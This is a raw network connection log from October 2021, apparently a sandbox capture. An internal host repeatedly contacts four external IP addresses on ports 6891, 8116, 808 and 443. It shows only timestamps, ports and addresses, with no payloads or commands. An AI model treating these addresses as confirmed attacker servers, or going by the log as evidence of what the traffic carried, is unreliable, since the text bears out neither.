Oct 28, 2021 04:59:40.821460009 CEST	50004	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:40.825256109 CEST	50004	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:40.825340986 CEST	50004	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:40.863120079 CEST	6891	50005	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:40.865176916 CEST	50005	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:40.866231918 CEST	50005	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:40.991633892 CEST	6891	50004	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:40.991663933 CEST	6891	50004	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:41.031532049 CEST	6891	50005	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:41.031563997 CEST	6891	50005	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:41.031629086 CEST	50005	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:41.032186985 CEST	50005	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:41.037017107 CEST	50005	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:41.037133932 CEST	50005	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:41.202464104 CEST	6891	50005	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:41.202492952 CEST	6891	50005	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:41.373244047 CEST	6891	50004	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:41.373284101 CEST	6891	50004	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:41.373455048 CEST	50004	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:41.380669117 CEST	50004	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:41.531332016 CEST	50006	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.547008038 CEST	6891	50004	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:41.580018044 CEST	6891	50005	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:41.580053091 CEST	6891	50005	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:41.580163956 CEST	8116	50006	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.580213070 CEST	50005	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:41.580281019 CEST	50006	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.581001043 CEST	50006	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.583882093 CEST	50005	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:41.629770994 CEST	8116	50006	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.629831076 CEST	8116	50006	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.629895926 CEST	50006	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.630498886 CEST	50006	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.635098934 CEST	50006	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.635222912 CEST	50006	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.683859110 CEST	8116	50006	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.684520960 CEST	8116	50006	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.697582960 CEST	50007	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.749135017 CEST	6891	50005	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:41.750178099 CEST	8116	50007	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.750303030 CEST	50007	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.751069069 CEST	50007	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.803587914 CEST	8116	50007	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.803786993 CEST	8116	50007	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.803853035 CEST	50007	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.804280043 CEST	50007	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.806999922 CEST	50007	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.807070971 CEST	50007	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.859469891 CEST	8116	50007	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.860207081 CEST	8116	50007	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.882157087 CEST	8116	50006	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.882282972 CEST	8116	50006	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:41.882364035 CEST	50006	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.882389069 CEST	50006	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.891202927 CEST	50006	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:41.940025091 CEST	8116	50006	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:42.012522936 CEST	50008	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.012573004 CEST	443	50008	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:42.012665033 CEST	50008	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.013361931 CEST	50008	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.013382912 CEST	443	50008	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:42.058023930 CEST	8116	50007	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:42.058067083 CEST	8116	50007	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:42.058141947 CEST	50007	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:42.060255051 CEST	50007	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:42.112811089 CEST	8116	50007	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:42.183195114 CEST	50009	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.183243036 CEST	443	50009	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:42.183331013 CEST	50009	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.184046984 CEST	50009	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.184067011 CEST	443	50009	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:42.530436993 CEST	443	50008	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:42.530591965 CEST	50008	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.531311989 CEST	50008	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.531322956 CEST	443	50008	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:42.535566092 CEST	50008	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.535583973 CEST	443	50008	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:42.535667896 CEST	50008	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.535679102 CEST	443	50008	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:42.697948933 CEST	443	50009	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:42.698088884 CEST	50009	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.698645115 CEST	50009	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.698662996 CEST	443	50009	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:42.703994036 CEST	50009	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.704010010 CEST	443	50009	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:42.704145908 CEST	50009	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:42.704160929 CEST	443	50009	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:43.245934963 CEST	443	50008	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:43.246006966 CEST	443	50008	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:43.246066093 CEST	50008	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:43.246090889 CEST	50008	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:43.251487970 CEST	50008	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:43.251538992 CEST	443	50008	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:43.378700972 CEST	50010	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.413105011 CEST	443	50009	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:43.413177013 CEST	443	50009	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:43.413427114 CEST	50009	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:43.418951035 CEST	50009	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:43.418994904 CEST	443	50009	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:43.536706924 CEST	808	50010	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:43.536957979 CEST	50010	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.538388014 CEST	50010	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.573435068 CEST	50011	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.696213007 CEST	808	50010	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:43.696264029 CEST	808	50010	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:43.696459055 CEST	50010	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.696846008 CEST	50010	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.699734926 CEST	50010	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.699814081 CEST	50010	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.735444069 CEST	808	50011	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:43.737546921 CEST	50011	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.738225937 CEST	50011	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.854621887 CEST	808	50010	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:43.857789993 CEST	808	50010	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:43.857836008 CEST	808	50010	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:43.899863958 CEST	808	50011	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:43.899945974 CEST	808	50011	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:43.900242090 CEST	50011	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.900607109 CEST	50011	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.904550076 CEST	50011	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:43.904726982 CEST	50011	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:44.062414885 CEST	808	50011	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:44.066298962 CEST	808	50011	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:44.066339970 CEST	808	50011	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:44.066361904 CEST	808	50011	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:44.066416025 CEST	808	50011	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:44.241262913 CEST	808	50010	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:44.241307020 CEST	808	50010	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:44.241476059 CEST	50010	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:44.250231981 CEST	50010	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:44.390475988 CEST	50012	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.408312082 CEST	808	50010	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:44.453962088 CEST	808	50011	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:44.453994989 CEST	808	50011	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:44.454051971 CEST	50011	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:44.454108953 CEST	50011	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:44.457374096 CEST	50011	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:44.557075977 CEST	6891	50012	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:44.557255983 CEST	50012	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.558238029 CEST	50012	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.572268963 CEST	50013	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.619402885 CEST	808	50011	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:44.727096081 CEST	6891	50012	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:44.727164984 CEST	6891	50012	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:44.727335930 CEST	50012	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.728044987 CEST	50012	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.732273102 CEST	50012	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.732414007 CEST	50012	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.738593102 CEST	6891	50013	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:44.738801956 CEST	50013	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.739547968 CEST	50013	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.898678064 CEST	6891	50012	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:44.898736000 CEST	6891	50012	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:44.898775101 CEST	6891	50012	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:44.905734062 CEST	6891	50013	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:44.905812979 CEST	6891	50013	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:44.905999899 CEST	50013	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.906560898 CEST	50013	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.910352945 CEST	50013	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:44.910445929 CEST	50013	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:45.076634884 CEST	6891	50013	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:45.076664925 CEST	6891	50013	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:45.076793909 CEST	6891	50013	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:45.280086040 CEST	6891	50012	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:45.280107975 CEST	6891	50012	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:45.280165911 CEST	50012	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:45.280206919 CEST	50012	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:45.288028002 CEST	50012	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:45.403269053 CEST	50014	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.450440884 CEST	8116	50014	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.450544119 CEST	50014	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.451550007 CEST	50014	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.454421043 CEST	6891	50012	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:45.460927010 CEST	6891	50013	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:45.460953951 CEST	6891	50013	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:45.461019039 CEST	50013	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:45.461082935 CEST	50013	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:45.464756966 CEST	50013	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:45.498369932 CEST	8116	50014	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.498775005 CEST	8116	50014	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.498831987 CEST	50014	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.499392986 CEST	50014	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.502125025 CEST	50014	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.502224922 CEST	50014	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.549072027 CEST	8116	50014	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.549345970 CEST	8116	50014	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.572675943 CEST	50015	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.624574900 CEST	8116	50015	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.624738932 CEST	50015	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.625580072 CEST	50015	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.632112980 CEST	6891	50013	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:45.677258015 CEST	8116	50015	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.677484035 CEST	8116	50015	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.677571058 CEST	50015	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.678174019 CEST	50015	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.693943977 CEST	50015	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.694061995 CEST	50015	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.718811035 CEST	8116	50014	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.718837023 CEST	8116	50014	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.718914032 CEST	50014	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.718966961 CEST	50014	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.726298094 CEST	50014	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.745789051 CEST	8116	50015	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.745826006 CEST	8116	50015	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.746890068 CEST	8116	50015	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.773430109 CEST	8116	50014	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.844542980 CEST	50016	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:45.844588041 CEST	443	50016	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:45.844677925 CEST	50016	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:45.845478058 CEST	50016	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:45.845490932 CEST	443	50016	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:45.914824963 CEST	8116	50015	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.914844990 CEST	8116	50015	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:45.914904118 CEST	50015	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.914943933 CEST	50015	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.917057991 CEST	50015	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:45.969362974 CEST	8116	50015	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:46.025932074 CEST	50017	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:46.025968075 CEST	443	50017	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:46.026082039 CEST	50017	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:46.026793957 CEST	50017	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:46.026818991 CEST	443	50017	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:46.336520910 CEST	443	50016	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:46.336694002 CEST	50016	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:46.337363958 CEST	50016	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:46.337374926 CEST	443	50016	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:46.342098951 CEST	50016	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:46.342114925 CEST	443	50016	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:46.342209101 CEST	50016	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:46.342220068 CEST	443	50016	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:46.509943008 CEST	443	50017	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:46.510036945 CEST	50017	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:46.510768890 CEST	50017	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:46.510782003 CEST	443	50017	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:46.516393900 CEST	50017	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:46.516407967 CEST	443	50017	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:46.516602993 CEST	50017	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:46.516622066 CEST	443	50017	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:47.034413099 CEST	443	50016	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:47.034513950 CEST	443	50016	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:47.034610987 CEST	50016	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:47.034657001 CEST	50016	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:47.048058987 CEST	50016	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:47.048084974 CEST	443	50016	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:47.209834099 CEST	443	50017	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:47.209906101 CEST	443	50017	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:47.210011005 CEST	50017	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:47.212857962 CEST	50017	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:47.212879896 CEST	443	50017	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:47.219157934 CEST	50018	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.323086023 CEST	50019	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.382133961 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.382364035 CEST	50018	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.384280920 CEST	50018	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.486067057 CEST	808	50019	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.486160040 CEST	50019	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.487025023 CEST	50019	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.547044039 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.547174931 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.547255993 CEST	50018	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.548144102 CEST	50018	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.555682898 CEST	50018	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.555818081 CEST	50018	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.649785995 CEST	808	50019	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.649806976 CEST	808	50019	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.649913073 CEST	50019	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.650866985 CEST	50019	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.655827045 CEST	50019	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.655946970 CEST	50019	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:47.710977077 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.718631029 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.718662024 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.718677998 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.718693018 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.718735933 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.813467979 CEST	808	50019	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.818537951 CEST	808	50019	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.818578005 CEST	808	50019	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:47.818591118 CEST	808	50019	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:48.104687929 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:48.104722023 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:48.104837894 CEST	50018	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:48.111644030 CEST	50018	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:48.208271980 CEST	808	50019	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:48.208312988 CEST	808	50019	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:48.208364010 CEST	50019	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:48.208396912 CEST	50019	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:48.212270021 CEST	50019	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:48.233305931 CEST	50020	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.274831057 CEST	808	50018	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:48.323775053 CEST	50021	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.375195980 CEST	808	50019	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:48.399096966 CEST	6891	50020	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:48.399216890 CEST	50020	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.399811983 CEST	50020	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.489398003 CEST	6891	50021	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:48.489554882 CEST	50021	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.490278006 CEST	50021	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.565448046 CEST	6891	50020	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:48.565486908 CEST	6891	50020	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:48.566962004 CEST	50020	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.567539930 CEST	50020	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.572102070 CEST	50020	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.572223902 CEST	50020	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.655778885 CEST	6891	50021	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:48.655811071 CEST	6891	50021	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:48.655896902 CEST	50021	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.656475067 CEST	50021	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.660871983 CEST	50021	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.660984039 CEST	50021	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:48.737802982 CEST	6891	50020	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:48.737835884 CEST	6891	50020	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:48.774543047 CEST	6891	50020	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:48.826785088 CEST	6891	50021	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:48.826811075 CEST	6891	50021	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:49.131577015 CEST	6891	50020	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:49.131604910 CEST	6891	50020	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:49.131978989 CEST	50020	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:49.139674902 CEST	50020	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:49.205135107 CEST	6891	50021	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:49.205163002 CEST	6891	50021	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:49.205274105 CEST	50021	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:49.205319881 CEST	50021	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:49.208435059 CEST	50021	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:49.269691944 CEST	50022	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.305453062 CEST	6891	50020	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:49.321860075 CEST	8116	50022	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:49.322312117 CEST	50022	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:49.323769093 CEST	50023	8116	192.168.2.6	185.56.219.47
